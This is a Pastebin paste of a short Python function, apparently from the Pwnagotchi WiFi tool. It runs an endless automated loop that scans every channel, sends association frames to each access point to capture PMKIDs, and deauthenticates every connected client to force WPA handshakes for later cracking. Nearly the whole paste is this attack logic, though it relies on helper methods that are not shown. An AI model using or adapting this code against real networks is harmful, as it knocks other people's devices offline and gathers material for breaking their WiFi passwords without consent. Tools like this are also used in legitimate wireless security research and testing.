Advertisement
Guest User

Untitled

a guest
Jan 26th, 2020
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.56 KB | None | 0 0
  1. def do_auto_mode(agent):
  2.     logging.info("entering auto mode ...")
  3.  
  4.     agent.mode = 'auto'
  5.     agent.start()
  6.  
  7.     while True:
  8.         try:
  9.             # recon on all channels
  10.             agent.recon()
  11.             # get nearby access points grouped by channel
  12.             channels = agent.get_access_points_by_channel()
  13.             # for each channel
  14.             for ch, aps in channels:
  15.                 agent.set_channel(ch)
  16.  
  17.                 if not agent.is_stale() and agent.any_activity():
  18.                     logging.info("%d access points on channel %d" % (len(aps), ch))
  19.  
  20.                 # for each ap on this channel
  21.                 for ap in aps:
  22.                     # send an association frame in order to get for a PMKID
  23.                     agent.associate(ap)
  24.                     # deauth all client stations in order to get a full handshake
  25.                     for sta in ap['clients']:
  26.                         agent.deauth(ap, sta)
  27.  
  28.             # An interesting effect of this:
  29.             #
  30.             # From Pwnagotchi's perspective, the more new access points
  31.             # and / or client stations nearby, the longer one epoch of
  32.             # its relative time will take ... basically, in Pwnagotchi's universe,
  33.             # WiFi electromagnetic fields affect time like gravitational fields
  34.             # affect ours ... neat ^_^
  35.             agent.next_epoch()
  36.  
  37.             if grid.is_connected():
  38.                 plugins.on('internet_available', agent)
  39.  
  40.         except Exception as e:
  41.             logging.exception("main loop exception")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement